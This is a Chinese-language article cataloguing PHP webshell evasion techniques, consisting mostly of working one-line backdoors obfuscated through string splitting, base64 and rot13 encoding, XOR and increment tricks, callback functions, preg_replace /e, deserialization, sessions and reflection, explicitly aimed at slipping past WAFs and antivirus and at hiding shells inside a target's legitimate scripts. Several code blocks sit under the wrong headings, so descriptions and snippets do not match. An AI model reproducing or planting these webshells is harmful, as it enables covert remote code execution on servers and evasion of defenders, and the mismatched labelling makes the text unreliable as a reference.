Webshell 之全方位免杀技巧汇总

前言:

本文几乎涵盖了市面上所有已知的 webshell 免杀手段, 自己也很清楚, 有些东西一旦公布出去, 基本就活不太久了, 但好在技巧是死的, 人是活的, 基于前人的优秀经验基础上所衍生出来的更加刁钻诡异的思路才是最珍贵的, 始终坚信, 对抗是持续的, shell 也是永远杀不完的…

0x01 首先就是基于各类最常规的命令和代码执行函数的花样变形 `如,拆分重组,动态执行,以此来躲避静态特征检测` , 不过像有些高危函数默认就会被运维们禁掉, 甚至高版本的 php 默认已经不让执行系统命令 [如, php7], 万一再开了安全模式, 就更费劲了

php 中一些常见的执行类型函数:

```
system()
exec()
shell_exec()
passthru()
proc_open()
`` 反引号执行系统命令
...
```

```
<?php $_POST['fun']($_REQUEST['req']);?>
```

```
<?php $cmd = `$_POST[ch]`;echo "<pre>$cmd</pre>";?><?php $req =
"a"."s"."s"."e"."r"."t";$req($_POST["klion"]); ?>
```

```
<?php $arr = array("a"=>"$_POST[fun]");$a = "${ $arr["a"]( $_POST[code])}"; ?>
```

利用 base64 编码, 这种编码可能是各类 webshell 中用的最频繁的一种, 如, weevely 中默认就是用的 base64, 所以免杀性相对较好, 另外还有诸如各类免杀大马, 过 waf 菜刀等等……

```
<?php
$XKs1u='as';$Rqoaou='e';

$ygDOEJ=$XKs1u.'s'.$Rqoaou.'r'.'t';
```

```
$joEDdb ='b'.$XKs1u.$Rqoaou.(64).'_'.'d'.$Rqoaou.'c'.'o'.'d'.$Rqoaou;

@$ygDOEJ(@$joEDdb($_POST[nihao]));
?>
```

利用 rot13 编码, 也用的比较频繁, 关于各类编码的内部工作细节, 请仔细阅读开发手册

```
<?php $a = @base64_decode($a=$_POST['fun']);$a($_POST['code']);?>
```

```
<?php $a=str_rot13('nffreg');$a($_POST['req']);?>
```

利用 url 编码以及自定义加解密实现的免杀, 其实也有点儿类似编码, 因为是自己设置的加密, 所以只有通信的双方知道, 这样一来 waf 就很难在未解密数据中识别出 webshell 特征, 不过人眼还是很容易就看出来的

利用 ASCII 码转换, 消除特征, 如 chr... 比较简单, 也比较原始, 这里就不多说了, 实战也不推荐用, 肉眼扫一下就看出来了

利用 xor [^ 异或] ~[取反] 注入此类的位运算, 实战中依然不推荐, 只要是个正常人基本都能看出来这是啥, 实际中记得先把下面的 url 编码解码过来, 务必注意两个特殊字符要用双引号包起来, hackbar 上面框中的参数可以不用, 只要 POST 里的参数传对了就行

```
<?php ($req = $_POST['req']) &&
@preg_replace('/ad/e','@'.str_rot13('nffreg').'($req)', 'add'); ?>
```

数组特性, 这个就更不推荐了, 看似花哨, 但正常的项目代码中是根本不可能出现这些东西的, 很明显, 这无疑是在故意告诉别人, 你来了, 那, 这就是我的 webshell, 请删除, 如果单单只是想免杀, 回调和反序列也许会更好, 相对比价隐蔽, 完全不用这么招摇过市的搞

```
<?php
$_=('%01'^'``').('%13'^'``').('%13'^'``').('%05'^'``').('%12'^'``').('%14'^'``'); //
$_='assert';

$__='_'.('%0D'^']').('%2F'^'``').('%0E'^']').('%09'^']'); // $__='_POST';

$___=$$__;

$_($___[_]); // assert($_POST[_]);
```

0x03 利用一些特殊的 web 服务器及脚本自身配置来 bypass waf

利用短格式来实现免杀, 前提需要目标的 php 配置已经事先开启短格式支持 [php.ini 有对应的开关], 不过一般默认都是没开的, 确实比较鸡肋, 不实用

short_open_tag = On

<?=`$_GET[m]`;

0x04 利用各种脚本语言自身的语言特性灵活隐匿 webshell, 个人非常推荐的方式, 扩展空间也非常的大, 较适合用于实战:

具有回调特性的函数其实还有非常多, 这里只是简单地列出了一部分, 可挖掘的潜力还比较大, 大家可对着手册自行深入研究

利用回调的好处除了免杀之外, 还有就是, 可以很方便我们 ` 直接把自己的 shell 插到目标的正常脚本代码中 `, 让其变得更加难以追踪

```
<?php
$_=[];
$_=@"$_"; // $_='Array';

$_=$_['!'=='@']; // $_=$_[0];

$___=$_; // A

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S

$___.=$__; // S

$__=$_;
$__++;$__++;$__++;$__++; // E

$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++; // R

$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++;$__++; // T

$____=$
```

```
$___.=$__;
$____='_';

$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++; // P

$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++; // O

$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++; // S

$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$__++;$__++;$__++;$__++;$__++; // T

$____.=$__;
$_=$$____;

$___($_[req]); // ASSERT($_POST[_]);
```

```
<?php $a = create_function('', @$_REQUEST['req']);$a();?>
```

```
<?php $ah = $_POST['ah'];$arr =
array($_POST['cmd']);array_filter($arr,base64_decode($ah));?>
```

```
<?php $fun = $_REQUEST['fun'];$arr =
array('xlion'=>1,$_REQUEST['req']=>2);uksort($arr,$fun);?>
```

```
<?php $fun =
$_REQUEST['fun'];register_shutdown_function($fun,$_REQUEST['req']);?><?php
mb_ereg_replace('.*', $_REQUEST['req'], '', 'e');?><?php<?php $arr = new
ArrayObject(array('xlion', $_REQUEST['req']));$arr-
>uasort(base64_decode($_POST['fun']));?>
```

```
$fun = base64_decode($_REQUEST['fun']);

$arr = array(base64_decode($_POST['code']));

$arr2 = array(1);

array_udiff($arr,$arr2,$fun);
?>
```

利用序列化与反序列化免杀，简单来讲原理类似反序列化漏洞，因为成员变量可控，在析构的时造成的代码执行。

```php
<?php echo preg_filter('|.*|e',$_REQUEST['req'],'')?>
```

序列化后的数据

```php
<?php
class shell{

public $code="tmpdata";

function __destruct()
{
assert($this->code);
}
}
$ser = $_GET['serdata'];

unserialize($ser);
```

编码配合动态函数:

```php
<?php
class shell{

public $code="phpinfo();";

}
$reload = new shell;
$res = serialize($reload);
echo $res;
```

利用包含特性，也是一种相对比较原始的 waf bypass 方式:

```php
<?php
$fun = base64_decode($_POST[fun]);
$code = base64_decode($_POST[code]);
$arr = array("a"=>$fun);

$a = "${ $arr['a']($code)}";

?>
```

利用 session 机制免杀:

```
<?php include './include_shell.txt'?>
```

利用 php 反射特性免杀

```
<?php
session_start();$_SESSION['cmd'] = trim($_POST['code']);

echo
preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'cmd\']))',
'a');

?>
```

0x05 后话

```
<?php $func = new ReflectionFunction(base64_decode($_POST[m]));echo $func-
>invokeArgs(array(base64_decode($_POST[c])));?>
```